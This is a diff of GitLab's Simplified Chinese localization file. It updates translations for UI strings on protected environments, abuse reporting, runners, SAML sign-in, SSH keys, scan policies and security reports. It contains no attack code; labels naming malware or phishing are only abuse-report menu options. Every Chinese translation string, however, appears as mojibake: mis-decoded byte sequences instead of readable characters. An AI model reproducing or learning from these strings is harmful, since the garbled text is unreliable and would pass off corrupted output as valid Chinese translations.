+msgstr "如果æ交作者å称与其 GitLab å¸æˆ·å称一致,用户åªèƒ½å°†æ交推é€åˆ°æ­¤ä»£ç åº“。"
+
msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr "如果æ交者电å­é‚®ä»¶æ˜¯ä»–们自己的已验è¯ç”µå­é‚®ä»¶ä¹‹ä¸€ï¼Œç”¨æˆ·åªèƒ½å°†æ交推é€åˆ°æ­¤ä»“库。"
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
-msgstr "如果æ交者å称与他们的 git config 用户å一致,用户åªèƒ½æŽ¨é€æ交到此仓库。"
-
msgid "ProjectSettings|Users can request access"
msgstr "用户å¯ä»¥è¯·æ±‚访问"
@@ -32501,7 +33075,7 @@ msgid "ProjectSettings|View and edit files in this project."
msgstr "查看和编辑此项目中的文件。"
msgid "ProjectSettings|View and edit files in this project. When set to **Everyone With Access** non-project members have only read access."
-msgstr ""
+msgstr "查看和编辑此项目中的文件。当设置为**具有访问æƒé™çš„任何人**,éžé¡¹ç›®æˆå‘˜åªæœ‰è¯»å–æƒé™ã€‚"
msgid "ProjectSettings|View project analytics."
msgstr "查看项目分æžã€‚"
@@ -32582,7 +33156,7 @@ msgid "ProjectTemplates|NodeJS Express"
msgstr "NodeJS Express"
msgid "ProjectTemplates|Pages/Bridgetown"
-msgstr ""
+msgstr "Pages/Bridgetown"
msgid "ProjectTemplates|Pages/Gatsby"
msgstr "Pages/Gatsby"
@@ -32623,6 +33197,9 @@ msgstr "Serverless Framework/JS"
msgid "ProjectTemplates|Spring"
msgstr "Spring"
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr "TYPO3 å‘行版"
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr "Tencent Serverless 框架/NextjsSSR"
@@ -33247,6 +33824,24 @@ msgstr "您åªèƒ½æ·»åŠ å…±äº«æ­¤é¡¹ç›®çš„群组。%{learn_more_link}"
msgid "ProtectedBranch|default"
msgstr "默认"
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr "å…许部署"
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr "获å–所选核准人信æ¯æ—¶å‘生错误。"
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr "批准规则"
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr "批准数é‡å¿…须介于 1 到 5 之间"
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr "设置哪些群组ã€è®¿é—®çº§åˆ«æˆ–用户需è¦æ‰¹å‡†ã€‚"
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr "设置å…许部署到此环境的群组ã€è®¿é—®çº§åˆ«æˆ–用户"
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} 将对开å‘人员å¯å†™ã€‚确定继续å—?"
@@ -33259,6 +33854,9 @@ msgstr "å…许部署"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr "å…许部署到 %{project}/%{environment}"
+msgid "ProtectedEnvironment|Approvers"
+msgstr "核准人"
+
msgid "ProtectedEnvironment|Environment"
msgstr "环境"
@@ -33295,6 +33893,9 @@ msgstr "所需批准"
msgid "ProtectedEnvironment|Select an environment"
msgstr "选择一个环境"
+msgid "ProtectedEnvironment|Select environment"
+msgstr "选择环境"
+
msgid "ProtectedEnvironment|Select groups"
msgstr "选择群组"
@@ -33777,7 +34378,7 @@ msgid_plural "Refreshing in %d seconds to show the updated status..."
msgstr[0] "%d 秒åŽåˆ·æ–°ä»¥æ˜¾ç¤ºæ›´æ–°çŠ¶æ€..."
msgid "Refreshing..."
-msgstr ""
+msgstr "正在刷新..."
msgid "Regenerate export"
msgstr "é‡æ–°ç”Ÿæˆå¯¼å‡º"
@@ -33976,7 +34577,7 @@ msgid "ReleaseAssetLinkType|Runbooks"
msgstr "Runbook"
msgid "Released"
-msgstr ""
+msgstr "å·²å‘布"
msgid "Released date"
msgstr "å‘布日期"
@@ -34023,6 +34624,9 @@ msgstr "您å¯ä»¥ç¨åŽé€šè¿‡ç¼–辑å‘布æ¥ç¼–辑内容。%{linkStart}我如何
msgid "Reload page"
msgstr "é‡æ–°åŠ è½½é¡µé¢"
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr "ä¿®å¤æŽªæ–½"
@@ -34290,9 +34894,6 @@ msgstr "使用 PlantUML 在您的文档中渲染图表。"
msgid "Renew subscription"
msgstr "续订"
-msgid "Renews"
-msgstr "续订"
-
msgid "Reopen"
msgstr "é‡æ–°æ‰“å¼€"
@@ -34318,7 +34919,7 @@ msgid "Reopened this %{quick_action_target}."
msgstr "é‡æ–°æ‰“å¼€%{quick_action_target}。"
msgid "Reopening..."
-msgstr ""
+msgstr "正在é‡æ–°æ‰“å¼€..."
msgid "Reopens this %{quick_action_target}."
msgstr "é‡æ–°æ‰“å¼€%{quick_action_target}。"
@@ -34350,9 +34951,6 @@ msgstr "已将所有标记替æ¢ä¸º%{label_references}%{label_text}。"
msgid "Replaces the clone URL root."
msgstr "替æ¢å…‹éš†URL根地å€ã€‚"
-msgid "Replication"
-msgstr "å¤åˆ¶"
-
msgid "Reply"
msgstr "回å¤"
@@ -34375,7 +34973,7 @@ msgid "Report Finding not found"
msgstr "未找到报告结果"
msgid "Report abuse to administrator"
-msgstr ""
+msgstr "å‘管ç†å‘˜æŠ¥å‘Šæ»¥ç”¨è¡Œä¸º"
msgid "Report couldn't be prepared."
msgstr "无法准备报告。"
@@ -34389,6 +34987,33 @@ msgstr "未æ供报告版本, %{report_type} 报告类型支æŒç‰ˆæœ¬ï¼š %{su
msgid "Report your license usage data to GitLab"
msgstr "报告您的许å¯è¯ä½¿ç”¨æ•°æ®"
+msgid "ReportAbuse|Something else."
+msgstr "其他。"
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr "他们正在冒犯或辱骂。"
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr "他们在进行加密货å¸æŒ–矿。"
+
+msgid "ReportAbuse|They're phising."
+msgstr "他们在钓鱼。"
+
+msgid "ReportAbuse|They're posting malware."
+msgstr "他们正在å‘布æ¶æ„软件。"
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr "他们正在å‘布个人信æ¯æˆ–凭æ®ã€‚"
+
+msgid "ReportAbuse|They're posting spam."
+msgstr "他们å‘布垃圾邮件。"
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr "他们侵犯了版æƒæˆ–商标。"
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr "您为什么è¦ä¸¾æŠ¥è¿™ä¸ªç”¨æˆ·ï¼Ÿ"
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "由%{reportedBy}报告于%{timeAgo}"
@@ -34708,7 +35333,7 @@ msgid "Request Access"
msgstr "申请æƒé™"
msgid "Request Headers"
-msgstr ""
+msgstr "请求 Headers"
msgid "Request a new one"
msgstr "请求一个新的"
@@ -34956,7 +35581,7 @@ msgid "Restricted shift times are not available for hourly shifts"
msgstr "é™åˆ¶è½®ç­æ—¶é—´ä¸é€‚用于æ¯å°æ—¶è½®ç­"
msgid "Results limit reached"
-msgstr ""
+msgstr "已达到结果é™åˆ¶"
msgid "Resume"
msgstr "æ¢å¤"
@@ -35032,7 +35657,7 @@ msgid "Review time"
msgstr "审核时间"
msgid "Review time is the amount of time since the first comment in a merge request."
-msgstr ""
+msgstr "评审时间是自åˆå¹¶è¯·æ±‚中的第一次评论以æ¥çš„时间。"
msgid "ReviewApp|Enable Review App"
msgstr "å¯ç”¨å®¡é˜…应用"
@@ -35126,7 +35751,7 @@ msgid "Run housekeeping tasks to automatically optimize Git repositories. Disabl
msgstr "è¿è¡Œä¾‹è¡Œç»´æŠ¤ä»»åŠ¡æ¥è‡ªåŠ¨ä¼˜åŒ– Git 仓库。ç¦ç”¨æ­¤é€‰é¡¹å°†å¯¼è‡´æ€§èƒ½éšç€æ—¶é—´çš„推移而下é™ã€‚"
msgid "Run manual job again"
-msgstr ""
+msgstr "å†æ¬¡è¿è¡Œæ‰‹åŠ¨ä½œä¸š"
msgid "Run manual or delayed jobs"
msgstr "è¿è¡Œæ‰‹åŠ¨æˆ–延迟的作业"
@@ -35213,7 +35838,7 @@ msgid "Runners|An error has occurred fetching instructions"
msgstr "获å–指令时å‘生错误"
msgid "Runners|An error occurred while deleting. Some runners may not have been deleted."
-msgstr ""
+msgstr "删除时出错。一些 runner å¯èƒ½æ²¡æœ‰è¢«åˆ é™¤ã€‚"
msgid "Runners|An upgrade is available for this runner"
msgstr "æ­¤ runner 有å¯ç”¨çš„å‡çº§"
@@ -35237,7 +35862,7 @@ msgid "Runners|Available"
msgstr "å¯ç”¨"
msgid "Runners|Available shared runners: %{count}"
-msgstr ""
+msgstr "å¯ç”¨çš„共享 runner:%{count}"
msgid "Runners|Available to all projects"
msgstr "适用于所有项目"
@@ -35321,7 +35946,7 @@ msgstr "输入秒数。此超时时间优先级高于为项目设定的较低超
msgid "Runners|Executor"
msgstr "执行器"
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35343,7 +35968,7 @@ msgid "Runners|IP Address"
msgstr "IP地å€"
msgid "Runners|Idle"
-msgstr ""
+msgstr "空闲"
msgid "Runners|Install a runner"
msgstr "安装Runner"
@@ -35385,13 +36010,13 @@ msgid "Runners|Never expires"
msgstr "æ°¸ä¸è¿‡æœŸ"
msgid "Runners|New group runners can be registered"
-msgstr ""
+msgstr "å¯ä»¥æ³¨å†Œæ–°çš„群组 runners"
msgid "Runners|New registration token generated!"
msgstr "已生æˆæ–°çš„注册令牌ï¼"
msgid "Runners|No description"
-msgstr ""
+msgstr "æ— æè¿°"
msgid "Runners|No results found"
msgstr "未找到结果"
@@ -35485,7 +36110,7 @@ msgid "Runners|Runner %{name} was deleted"
msgstr "Runner %{name} 已删除"
msgid "Runners|Runner Registration"
-msgstr ""
+msgstr "Runner 注册"
msgid "Runners|Runner assigned to project."
msgstr "分é…给项目的runner"
@@ -35554,7 +36179,7 @@ msgid "Runners|Runners are the agents that run your CI/CD jobs. To register new
msgstr "Runners 是è¿è¡Œ CI/CD 作业的代ç†ã€‚è¦æ³¨å†Œæ–°çš„ runners,请è”系您的管ç†å‘˜ã€‚"
msgid "Runners|Running"
-msgstr ""
+msgstr "正在è¿è¡Œ"
msgid "Runners|Runs untagged jobs"
msgstr "è¿è¡Œæœªæ ‡è®°çš„作业"
@@ -35692,8 +36317,8 @@ msgstr "具有手动缩放和å¯é€‰è°ƒåº¦åŠŸèƒ½çš„ Windows 2019 Shell。Non-spot
msgid "Runners|Yes, start deleting stale runners"
msgstr "是的,开始删除过期的 runner"
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
-msgstr "您å¯ä»¥è®¾ç½®ä¸€ä¸ªç‰¹å®šçš„Runner供多个项目使用,但是您ä¸èƒ½è®©å®ƒæˆä¸ºä¸€ä¸ªå…±äº«çš„Runner。"
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
+msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "您已使用了%{quotaUsed},超出了共享æµæ°´çº¿æ—¶é—´é…é¢é™åˆ¶ï¼ˆ%{quotaLimit} )。"
@@ -35717,7 +36342,7 @@ msgid "Runner|Owner"
msgstr "所有者"
msgid "Runner|Runner %{runnerName} failed to delete"
-msgstr ""
+msgstr "Runner %{runnerName} 删除失败"
msgid "Running"
msgstr "è¿è¡Œä¸­"
@@ -35747,7 +36372,7 @@ msgid "SAML single sign-on for %{group_name}"
msgstr "%{group_name} çš„ SAML å•ç‚¹ç™»å½•"
msgid "SAML|Sign in to %{groupName}"
-msgstr ""
+msgstr "登录到 %{groupName}"
msgid "SAML|Sign in to GitLab to connect your organization's account"
msgstr "登录 GitLab 以连接您组织的å¸æˆ·"
@@ -35756,7 +36381,7 @@ msgid "SAML|The %{strongOpen}%{group_path}%{strongClose} group allows you to sig
msgstr "%{strongOpen}%{group_path}%{strongClose} 群组å…许您使用å•ç‚¹ç™»å½•è¿›è¡Œç™»å½•ã€‚"
msgid "SAML|To access %{groupName}, you must sign in using single sign-on through an external sign-in page."
-msgstr ""
+msgstr "è¦è®¿é—® %{groupName},您必须通过外部登录页é¢ä½¿ç”¨å•ç‚¹ç™»å½•è¿›è¡Œç™»å½•ã€‚"
msgid "SAML|To allow %{strongOpen}%{group_name}%{strongClose} to manage your GitLab account %{strongOpen}%{username}%{strongClose} (%{email}) after you sign in successfully using single sign-on, select %{strongOpen}Authorize%{strongClose}."
msgstr ""
@@ -35798,7 +36423,7 @@ msgid "SSH key"
msgstr "SSH密钥"
msgid "SSH key fingerprint:"
-msgstr ""
+msgstr "SSH 密钥指纹"
msgid "SSH keys"
msgstr "SSH 密钥"
@@ -35816,13 +36441,13 @@ msgid "SSH public key"
msgstr "SSH公钥"
msgid "SSHKey|Authentication"
-msgstr ""
+msgstr "验è¯"
msgid "SSHKey|Authentication & Signing"
-msgstr ""
+msgstr "éªŒè¯ & ç­¾å"
msgid "SSHKey|Signing"
-msgstr ""
+msgstr "ç­¾å"
msgid "SSL Verification:"
msgstr "SSL验è¯ï¼š"
@@ -35891,14 +36516,20 @@ msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan
msgstr "%{thenLabelStart}然åŽ%{thenLabelEnd} éœ€è¦ %{scan} 扫ææ‰èƒ½ä½¿ç”¨ç«™ç‚¹é…置文件 %{siteProfile} 和扫æ器é…置文件 %{scannerProfile} æ¥è¿è¡Œ"
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with site profile %{siteProfile} and scanner profile %{scannerProfile} with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}然åŽ%{thenLabelEnd} éœ€è¦ %{scan} 扫ææ‰èƒ½ä½¿ç”¨ç«™ç‚¹é…置文件 %{siteProfile} 和带有标签 %{tags} 的扫æ器é…置文件 %{scannerProfile} æ¥è¿è¡Œ"
msgid "ScanExecutionPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require a %{scan} scan to run with tags %{tags}"
-msgstr ""
+msgstr "%{thenLabelStart}然åŽ%{thenLabelEnd} éœ€è¦ %{scan} 扫ææ‰èƒ½è¿è¡Œï¼Œå¸¦æœ‰æ ‡ç­¾ %{tags} "
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr "æµæ°´çº¿è¿è¡Œä¸­"
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr "Ex,tag-name-1,tag-name-2"
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr "如果该字段为空,将自动选择 runner"
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr "扫æ器é…置文件"
@@ -35923,14 +36554,11 @@ msgstr "选择扫æ器é…置文件"
msgid "ScanExecutionPolicy|Select site profile"
msgstr "选择站点é…置文件"
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr "站点é…置文件"
msgid "ScanExecutionPolicy|Tags"
-msgstr ""
+msgstr "标签"
msgid "ScanExecutionPolicy|agent"
msgstr "代ç†"
@@ -35941,21 +36569,48 @@ msgstr "分支"
msgid "ScanExecutionPolicy|in namespaces"
msgstr "在命å空间中"
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr "%{count} 个许å¯è¯"
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr "%{ifLabelStart}如果%{ifLabelEnd} %{scanners} 在针对 %{branches} 的开放åˆå¹¶è¯·æ±‚中å‘现超过 %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} çš„æ¼æ´ž"
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{selector}"
-msgstr ""
+msgstr "%{ifLabelStart}如果%{ifLabelEnd} %{selector}"
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr "%{thenLabelStart}然åŽ%{thenLabelEnd} 需è¦ä»¥ä¸‹ %{approvalsRequired} 个核准人的批准:"
+msgid "ScanResultPolicy|Newly Detected"
+msgstr "新检测到"
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr "预先存在"
+
msgid "ScanResultPolicy|add an approver"
msgstr "添加核准人"
+msgid "ScanResultPolicy|except"
+msgstr "除外"
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr "许å¯è¯çŠ¶æ€"
+
+msgid "ScanResultPolicy|license type"
+msgstr "许å¯è¯ç±»åž‹"
+
+msgid "ScanResultPolicy|matching"
+msgstr "匹é…"
+
+msgid "ScanResultPolicy|matching type"
+msgstr "匹é…类型"
+
msgid "ScanResultPolicy|scanners"
msgstr "扫æ器"
@@ -35963,7 +36618,7 @@ msgid "ScanResultPolicy|severity levels"
msgstr "严é‡ç¨‹åº¦"
msgid "ScanResultPolicy|vulnerabilities allowed"
-msgstr ""
+msgstr "å…许的æ¼æ´ž"
msgid "ScanResultPolicy|vulnerability states"
msgstr "æ¼æ´žçŠ¶æ€"
@@ -36050,7 +36705,7 @@ msgid "Search GitLab"
msgstr "æœç´¢ GitLab"
msgid "Search Within"
-msgstr ""
+msgstr "æœç´¢èŒƒå›´"
msgid "Search a group"
msgstr "æœç´¢ç¾¤ç»„"
@@ -36148,9 +36803,6 @@ msgstr "æœç´¢é¡¹ç›®"
msgid "Search projects"
msgstr "æœç´¢é¡¹ç›®"
-msgid "Search projects..."
-msgstr "æœç´¢é¡¹ç›®..."
-
msgid "Search protected branches"
msgstr "æœç´¢å—ä¿æŠ¤çš„分支"
@@ -36507,6 +37159,15 @@ msgstr "%{branches} 和 %{lastBranch} 分支"
msgid "SecurityOrchestration|%{branches} branch"
msgstr "%{branches} 分支"
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr "%{scannerStart}%{scanner}%{scannerEnd}"
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr "%{scanners}"
@@ -36528,6 +37189,9 @@ msgstr "行动"
msgid "SecurityOrchestration|Add action"
msgstr "添加æ“作"
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr "添加规则"
@@ -36559,7 +37223,7 @@ msgid "SecurityOrchestration|Choose a project"
msgstr "选择项目"
msgid "SecurityOrchestration|Choose approver type"
-msgstr ""
+msgstr "选择核准人类型"
msgid "SecurityOrchestration|Create more robust vulnerability rules and apply them to all your projects."
msgstr "创建更强大的æ¼æ´žè§„则并将其应用于您的所有项目。"
@@ -36619,16 +37283,16 @@ msgid "SecurityOrchestration|Failed to load vulnerability scanners."
msgstr "加载æ¼æ´žæ‰«æ器失败。"
msgid "SecurityOrchestration|For large groups, there may be a significant delay in applying policy changes to pre-existing merge requests. Policy changes typically apply almost immediately for newly created merge requests."
-msgstr ""
+msgstr "对于大型群组,对原已存在的åˆå¹¶è¯·æ±‚应用策略å˜æ›´å¯èƒ½ä¼šæœ‰å¾ˆå¤§çš„延迟。策略å˜æ›´é€šå¸¸å¯¹äºŽæ–°åˆ›å»ºçš„åˆå¹¶è¯·æ±‚,几乎立å³åº”用。"
msgid "SecurityOrchestration|Groups"
-msgstr ""
+msgstr "群组"
msgid "SecurityOrchestration|If any scanner finds a newly detected critical vulnerability in an open merge request targeting the master branch, then require two approvals from any member of App security."
msgstr "如果任何扫æ器在针对主分支的开放åˆå¹¶è¯·æ±‚中å‘现新检测的严é‡æ¼æ´žï¼Œç„¶åŽéœ€è¦ä»»ä½• App security æˆå‘˜çš„两次批准。"
msgid "SecurityOrchestration|Individual users"
-msgstr ""
+msgstr "个人用户"
msgid "SecurityOrchestration|Inherited"
msgstr "继承"
@@ -36646,7 +37310,7 @@ msgid "SecurityOrchestration|Latest scan run against %{agent}"
msgstr "针对 %{agent} è¿è¡Œçš„最新扫æ"
msgid "SecurityOrchestration|License Scan"
-msgstr ""
+msgstr "许å¯è¯æ‰«æ"
msgid "SecurityOrchestration|New policy"
msgstr "新建策略"
@@ -36685,7 +37349,7 @@ msgid "SecurityOrchestration|Policy cannot be enabled without branch information
msgstr "没有分支信æ¯å°±æ— æ³•å¯ç”¨ç­–ç•¥"
msgid "SecurityOrchestration|Policy changes may take some time to be applied."
-msgstr ""
+msgstr "策略更改å¯èƒ½éœ€è¦ä¸€äº›æ—¶é—´æ‰èƒ½åº”用。"
msgid "SecurityOrchestration|Policy definition"
msgstr "策略定义"
@@ -36751,7 +37415,7 @@ msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr "扫æ %{cadence} 在 %{branches} 上执行"
msgid "SecurityOrchestration|Scan to be performed by the agent named %{agents} %{cadence}"
-msgstr ""
+msgstr "扫æ在å为 %{agents} %{cadence} 的代ç†ä¸Šæ‰§è¡Œ"
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
msgstr "在%{branches}上扫ææ¯ä¸ªæµæ°´çº¿"
@@ -36760,7 +37424,7 @@ msgid "SecurityOrchestration|Security Approvals"
msgstr "安全批准"
msgid "SecurityOrchestration|Security Scan"
-msgstr ""
+msgstr "安全扫æ"
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr "安全策略项目已æˆåŠŸè¿žæŽ¥"
@@ -36772,19 +37436,19 @@ msgid "SecurityOrchestration|Select a project to store your security policies in
msgstr "选择一个项目æ¥å­˜å‚¨æ‚¨çš„安全策略。 %{linkStart}更多信æ¯ã€‚%{linkEnd}"
msgid "SecurityOrchestration|Select groups"
-msgstr ""
+msgstr "选择群组"
msgid "SecurityOrchestration|Select policy"
msgstr "选择策略"
msgid "SecurityOrchestration|Select scan type"
-msgstr ""
+msgstr "选择扫æ类型"
msgid "SecurityOrchestration|Select security project"
msgstr "选择安全项目"
msgid "SecurityOrchestration|Select users"
-msgstr ""
+msgstr "选择用户"
msgid "SecurityOrchestration|Something went wrong, unable to fetch policies"
msgstr "出现错误,无法获å–ç­–ç•¥"
@@ -36807,8 +37471,8 @@ msgstr "步骤 2:策略详情"
msgid "SecurityOrchestration|Summary"
msgstr "摘è¦"
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
-msgstr "此开å‘项目中ä¸å­˜åœ¨ä»¥ä¸‹åˆ†æ”¯ï¼š%{branches}。在更新此策略之å‰ï¼Œè¯·æ£€æŸ¥æ‰€æœ‰åˆ†æ”¯ï¼Œç¡®ä¿å€¼å‡†ç¡®æ— è¯¯ã€‚"
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
+msgstr "此开å‘项目中ä¸å­˜åœ¨ä»¥ä¸‹åˆ†æ”¯ï¼š%{branches}。在更新此策略之å‰ï¼Œè¯·æ£€æŸ¥æ‰€æœ‰å—ä¿æŠ¤çš„分支,确ä¿å€¼å‡†ç¡®æ— è¯¯ã€‚"
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr "创建新的安全策略时出现问题"
@@ -36856,7 +37520,7 @@ msgid "SecurityOrchestration|Use a scan execution policy to create rules which e
msgstr "使用扫æ执行策略æ¥åˆ›å»ºè§„则,在特定的时间对特定的分支强制进行安全扫æ。支æŒçš„类型有 SASTã€DASTã€Secret 检测ã€å®¹å™¨æ‰«æå’Œä¾èµ–扫æ。"
msgid "SecurityOrchestration|Use a scan result policy to create rules that check for security vulnerabilities and license compliance before merging a merge request."
-msgstr ""
+msgstr "使用扫æ结果策略创建规则,在åˆå¹¶åˆå¹¶è¯·æ±‚之å‰æ£€æŸ¥å®‰å…¨æ¼æ´žå’Œè®¸å¯è¯åˆè§„。"
msgid "SecurityOrchestration|Use a scan result policy to create rules that ensure security issues are checked before merging a merge request."
msgstr "使用扫æ结果策略创建规则,确ä¿åœ¨åˆå¹¶åˆå¹¶è¯·æ±‚之å‰æ£€æŸ¥å®‰å…¨é—®é¢˜ã€‚"
@@ -36870,12 +37534,12 @@ msgstr "您还没有任何安全策略"
msgid "SecurityOrchestration|a"
msgstr "一个"
-msgid "SecurityOrchestration|all branches"
-msgstr "所有分支"
-
msgid "SecurityOrchestration|all namespaces"
msgstr "所有命å空间"
+msgid "SecurityOrchestration|all protected branches"
+msgstr "所有å—ä¿æŠ¤åˆ†æ”¯"
+
msgid "SecurityOrchestration|an"
msgstr "一个"
@@ -36886,6 +37550,9 @@ msgid "SecurityOrchestration|branches"
msgstr "分支"
msgid "SecurityOrchestration|group level branch"
+msgstr "群组级分支"
+
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
msgstr ""
msgid "SecurityOrchestration|scanner finds"
@@ -36925,7 +37592,7 @@ msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr "%{firstProject},%{secondProject},åŠ%{rest}"
msgid "SecurityReports|Activity"
-msgstr ""
+msgstr "活动"
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr "添加或删除安全区内的项目。 此列表中项目的扫æ结果将显示在安全仪表盘和æ¼æ´žæŠ¥å‘Šä¸­ã€‚"
@@ -36937,29 +37604,26 @@ msgid "SecurityReports|All activity"
msgstr "所有活动"
msgid "SecurityReports|All clusters"
-msgstr ""
+msgstr "所有集群"
msgid "SecurityReports|All images"
-msgstr ""
+msgstr "所有镜åƒ"
msgid "SecurityReports|All projects"
-msgstr ""
+msgstr "所有项目"
msgid "SecurityReports|All severities"
msgstr "全部严é‡çº§åˆ«"
msgid "SecurityReports|All statuses"
-msgstr ""
+msgstr "所有状æ€"
msgid "SecurityReports|All tools"
-msgstr ""
+msgstr "所有工具"
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr "虽然没有æ¼æ´žçš„情况很少è§ï¼Œä½†å®ƒå¯èƒ½ä¼šå‘生。检查您的设置以确ä¿æ‚¨å·²æ­£ç¡®è®¾ç½®ä»ªè¡¨æ¿ã€‚"
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr "在 GitLab,我们专注于迭代和å馈。这就是为什么我们è¦è”ç³»åƒæ‚¨è¿™æ ·çš„客户æ¥å¸®åŠ©æŒ‡å¯¼æˆ‘们今年在æ¼æ´žç®¡ç†æ–¹é¢çš„工作。我们有很多令人兴奋的想法,请您å助我们进行ä¸è¶…过 10 分钟 %{boldStart}%{boldEnd} æ¥è¯„估我们的一些潜在功能。"
-
msgid "SecurityReports|Change status"
msgstr "更改状æ€"
@@ -37099,7 +37763,7 @@ msgid "SecurityReports|No vulnerabilities found for this pipeline"
msgstr "æ­¤æµæ°´çº¿ä¸­æœªå‘现æ¼æ´ž"
msgid "SecurityReports|Not available"
-msgstr ""
+msgstr "ä¸å¯ç”¨"
msgid "SecurityReports|Oops, something doesn't seem right."
msgstr "看起æ¥ä¸æ­£ç¡®ã€‚"
@@ -37179,9 +37843,6 @@ msgstr "ä»ç„¶æ£€æµ‹åˆ°"
msgid "SecurityReports|Submit vulnerability"
msgstr "æ交æ¼æ´ž"
-msgid "SecurityReports|Take survey"
-msgstr "å‚加调查"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr "æ¼æ´žæŠ¥å‘Šæ˜¾ç¤ºå¯¹é¡¹ç›®é»˜è®¤åˆ†æ”¯çš„æˆåŠŸæ‰«æ结果,手动添加的æ¼æ´žè®°å½•ä»¥åŠä»Žæ‰«ææ“作环境中å‘现的æ¼æ´žã€‚ %{linkStart}了解更多。%{linkEnd}"
@@ -37209,6 +37870,9 @@ msgstr "忽略æ¼æ´žæ—¶å‡ºé”™ã€‚"
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "忽略æ¼æ´žæ—¶å‡ºé”™ã€‚"
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr "获å–结果时出错。请å†è¯•ä¸€æ¬¡ã€‚"
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr "å–消忽略时出错。"
